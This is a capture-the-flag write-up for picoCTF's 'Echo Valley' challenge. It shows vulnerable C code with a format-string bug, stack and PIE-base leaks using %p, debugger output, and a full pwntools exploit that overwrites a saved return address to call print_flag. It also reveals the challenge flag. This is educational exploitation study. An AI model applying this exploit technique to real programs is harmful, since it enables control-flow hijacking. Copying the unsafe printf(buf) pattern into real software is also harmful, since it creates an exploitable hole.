file

The challenge provides a 64-bit dynamically linked PIE ELF executable.

The binary was probably compiled with the gcc -g option because the file command indicates debugging info with debug_info.

For more information read this.

file valley
valley: ELF 64-bit LSB pie executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, BuildID[sha1]=389c2641f0d3caae81af5d21d9bb5bcf2de217f0, for GNU/Linux 3.2.0, with debug_info, not stripped

checksec

All the security protections are enabled…

checksec valley
[*] '/home/picoctf/pwn/echo_valley/valley'
    Arch:       amd64-64-little
    RELRO:      Full RELRO
    Stack:      Canary found
    NX:         NX enabled
    PIE:        PIE enabled
    SHSTK:      Enabled
    IBT:        Enabled
    Stripped:   No
    Debuginfo:  Yes

Let’s look at the C code.

C code

#include <stdio.h>
#include <stdlib.h>
#include <string.h>

void print_flag() {
    char buf[32];
    FILE *file = fopen("/home/valley/flag.txt", "r");

    if (file == NULL) {
      perror("Failed to open flag file");
      exit(EXIT_FAILURE);
    }
    
    fgets(buf, sizeof(buf), file);
    printf("Congrats! Here is your flag: %s", buf);
    fclose(file);
    exit(EXIT_SUCCESS);
}

void echo_valley() {
    printf("Welcome to the Echo Valley, Try Shouting: \n");

    char buf[100];

    while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }
    fflush(stdout);
}

int main()
{
    echo_valley();
    return 0;
}

The echo_valley function contains a format-string bug(fsb).

char buf[100];
printf(buf);
%p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p %p 
0x7ffd54d4f470 (nil) (nil) 0x5647ef2b06fc 0x410 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0x7025207025207025 0x2520702520702520 0x2070252070252070 0xa207025 (nil) (nil) (nil) 0xaa4c150184d3bc00 0x7ffd54d4f6a0 0x5647c47e9413 0x7ffd54d4f740 0x7f2ed220c1ca 0x7ffd54d4f6f0 0x7ffd54d4f7c8 

The 21st format-string parameter leaks a memory address in the main function’s stack frame.

%21$p  0x5647c47e9413
gef➤  disass main
Dump of assembler code for function main:
   0x0000000000001401 <+0>:     endbr64
   0x0000000000001405 <+4>:     push   rbp
   0x0000000000001406 <+5>:     mov    rbp,rsp
   0x0000000000001409 <+8>:     mov    eax,0x0
   0x000000000000140e <+13>:    call   0x1307 <echo_valley>
   0x0000000000001413 <+18>:    mov    eax,0x0

You can inspect the process’s memory layout by running vmmap on gef or info proc mappings in gdb.

gef➤  vmmap
[ Legend:  Code | Stack | Heap ]
Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/picoctf/pwn/echo_valley/valley
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/picoctf/pwn/echo_valley/valley
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]
0x00007ffff7d9b000 0x00007ffff7d9e000 0x0000000000000000 rw- 
0x00007ffff7d9e000 0x00007ffff7dc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dc6000 0x00007ffff7f4e000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f4e000 0x00007ffff7f9d000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9d000 0x00007ffff7fa1000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa1000 0x00007ffff7fa3000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa3000 0x00007ffff7fb0000 0x0000000000000000 rw- 
0x00007ffff7fbd000 0x00007ffff7fbf000 0x0000000000000000 rw- 
0x00007ffff7fbf000 0x00007ffff7fc3000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc5000 0x00007ffff7fc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc6000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffdd000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

The binary base usually starts at 0x0000555555554000.

Start              End                Offset             Perm Path
0x0000555555554000 0x0000555555555000 0x0000000000000000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555555000 0x0000555555556000 0x0000000000001000 r-x /home/picoctf/pwn/echo_valley/valley
0x0000555555556000 0x0000555555557000 0x0000000000002000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555557000 0x0000555555558000 0x0000000000002000 r-- /home/picoctf/pwn/echo_valley/valley
0x0000555555558000 0x0000555555559000 0x0000000000003000 rw- /home/picoctf/pwn/echo_valley/valley
0x0000555555559000 0x000055555557a000 0x0000000000000000 rw- [heap]

The libc, and ld(dynamic linker) starts at memory address 0x7ffff

0x00007ffff7d9b000 0x00007ffff7d9e000 0x0000000000000000 rw- 
0x00007ffff7d9e000 0x00007ffff7dc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7dc6000 0x00007ffff7f4e000 0x0000000000028000 r-x /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f4e000 0x00007ffff7f9d000 0x00000000001b0000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7f9d000 0x00007ffff7fa1000 0x00000000001fe000 r-- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa1000 0x00007ffff7fa3000 0x0000000000202000 rw- /usr/lib/x86_64-linux-gnu/libc.so.6
0x00007ffff7fa3000 0x00007ffff7fb0000 0x0000000000000000 rw- 
0x00007ffff7fbd000 0x00007ffff7fbf000 0x0000000000000000 rw- 
0x00007ffff7fbf000 0x00007ffff7fc3000 0x0000000000000000 r-- [vvar]
0x00007ffff7fc3000 0x00007ffff7fc5000 0x0000000000000000 r-x [vdso]
0x00007ffff7fc5000 0x00007ffff7fc6000 0x0000000000000000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7fc6000 0x00007ffff7ff1000 0x0000000000001000 r-x /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ff1000 0x00007ffff7ffb000 0x000000000002c000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffb000 0x00007ffff7ffd000 0x0000000000036000 r-- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffff7ffd000 0x00007ffff7fff000 0x0000000000038000 rw- /usr/lib/x86_64-linux-gnu/ld-linux-x86-64.so.2
0x00007ffffffdd000 0x00007ffffffff000 0x0000000000000000 rw- [stack]

You can use the telescope command in gef.

gef➤  telescope 0x0000555555555413
0x0000555555555413│+0x0000: <main+0012> mov eax, 0x0
0x000055555555541b│+0x0008:  add bl, dh
0x0000555555555423│+0x0010: <_fini+0007> or BYTE PTR [rax-0x7d], cl
0x000055555555542b│+0x0018:  add BYTE PTR [rax], al
0x0000555555555433│+0x0020:  add BYTE PTR [rax], al
0x000055555555543b│+0x0028:  add BYTE PTR [rax], al
0x0000555555555443│+0x0030:  add BYTE PTR [rax], al
0x000055555555544b│+0x0038:  add BYTE PTR [rax], al
0x0000555555555453│+0x0040:  add BYTE PTR [rax], al
0x000055555555545b│+0x0048:  add BYTE PTR [rax], al
$rip   : 0x0000555555555413  →  <main+0012> mov eax, 0x0

As you can see, the saved return address is located 8 bytes before the leaked stack address.

gef➤  telescope 0x7fffffffd810-8
0x00007fffffffd808│+0x0000: 0x0000555555555413  →  <main+0012> mov eax, 0x0
0x00007fffffffd810│+0x0008: 0x00007fffffffd8b0  →  0x00007fffffffd910  →  0x0000000000000000
0x00007fffffffd818│+0x0010: 0x00007ffff7dc81ca  →  <__libc_start_call_main+007a> mov edi, eax
0x00007fffffffd820│+0x0018: 0x00007fffffffd860  →  0x0000555555557d78  →  0x0000555555555220  →  <__do_global_dtors_aux+0000> endbr64 
0x00007fffffffd828│+0x0020: 0x00007fffffffd938  →  0x00007fffffffdc18  →  "/home/hwkim301/picoctf/pwn/echo_valley/valley"
0x00007fffffffd830│+0x0028: 0x0000000155554040
0x00007fffffffd838│+0x0030: 0x0000555555555401  →  <main+0000> endbr64 
0x00007fffffffd840│+0x0038: 0x00007fffffffd938  →  0x00007fffffffdc18  →  "/home/hwkim301/picoctf/pwn/echo_valley/valley"
0x00007fffffffd848│+0x0040: 0xe17863e78e41249d
0x00007fffffffd850│+0x0048: 0x0000000000000001

The 6th format string parameter corresponds to the input AAAA which is 0x2070252041414141.

./valley 
Welcome to the Echo Valley, Try Shouting: 
AAAA %p %p %p %p %p %p
You heard in the distance: AAAA 0x7ffe6f3b3db0 (nil) (nil) 0x5651957bc6c7 0x410 0x2070252041414141

Therefore, we can probably use the 6th format string parameter to overwrite the return address of the echo_valley function with the address of print_flag.

We will then be able to call the print_flag function.

pwntools has a fmtstr_payload function that generates format strings for your exploits.

The goals is to craft a payload that uses the 6th format specifier to write the address of print_flag to the location of the saved return address.

You need to use write_size='short' because the default format-string generated by fmtstr_payload would be longer than the 100 byte buffer.

My payload looks like this.

The payload changes every time you run fmtstr_payload.

I think it changes because ASLR changes the stack address every time you execute the binary.

payload = fmtstr_payload(6, {stack: print_flag}, write_size='short')

print(payload)

# b'%37481c%11$lln%8593c%12$hn%42169c%13$hna\xd8\x90\xae\xc8\xfc\x7f\x00\x00\xda\x90\xae\xc8\xfc\x7f\x00\x00\xdc\x90\xae\xc8\xfc\x7f\x00\x00'

print(len(b'%37481c%11$lln%8593c%12$hn%42169c%13$hna\xd8\x90\xae\xc8\xfc\x7f\x00\x00\xda\x90\xae\xc8\xfc\x7f\x00\x00\xdc\x90\xae\xc8\xfc\x7f\x00\x00')) #64

A final quirk in this challenge is that after sending the payload, the program remains in the while(1) loop. You need to send exit to break the loop which causes the function to return and trigger our overwritten return address.

while(1)
    {
        fflush(stdout);
        if (fgets(buf, sizeof(buf), stdin) == NULL) {
          printf("\nEOF detected. Exiting...\n");
          exit(0);
        }

        if (strcmp(buf, "exit\n") == 0) {
            printf("The Valley Disappears\n");
            break;
        }

        printf("You heard in the distance: ");
        printf(buf);
        fflush(stdout);
    }

I also used elf.address.

e.address allows pwntools to automatically calculate the address of print_flag. Without it, we need to manually add the offset to the PIE base, which is a bit annoying.

e.address = pie_leak - 0x1413

Here’s the full exploit code.

Exploit Code

from pwn import *

context.arch = "amd64"

r = remote("shape-facility.picoctf.net", 55102)
e = ELF("./valley")

r.sendline(b"%20$p %21$p")

r.recvuntil(b"distance: ")

stack, pie_leak = r.recvline().split()

stack = int(stack, 16) - 8
pie_leak = int(pie_leak, 16)

e.address = pie_leak - 0x1413

print(f"pie_leak: {hex(pie_leak)}")
print(f"pie_base: {hex(e.address)}")

print_flag = e.symbols["print_flag"]

print(f"stack leak: {hex(stack)}")
print(f"print_flag: {hex(print_flag)}")

payload = fmtstr_payload(6, {stack: print_flag}, write_size="short")
r.sendline(payload)
r.sendline(b"exit")
r.interactive()

# picoctf{f1ckl3_f0rmat_f1asc0} fickle_format_fiasco

To be honest, I still don’t 100% understand why you need to leak an address from the stack and I personally think I didn’t or couldn’t explain a lot of stuff due to my incompetence.

For a more detailed understanding I suggest reading the references I linked below.

Reference Writeup

  1. Youtube writeup

This video helped me the most.

For more details

  1. https://stackoverflow.com/questions/61561331/why-does-linux-favor-0x7f-mappings

  2. https://unix.stackexchange.com/questions/449107/what-differences-and-relations-are-between-the-various-libc-so

  3. https://unix.stackexchange.com/questions/400621/what-is-lib64-ld-linux-x86-64-so-2-and-why-can-it-be-used-to-execute-file

  4. https://unix.stackexchange.com/questions/774773/what-does-6-mean-in-glibc-so-6

  5. https://www.baeldung.com/linux/dynamic-linker

Format strings are super hard lol…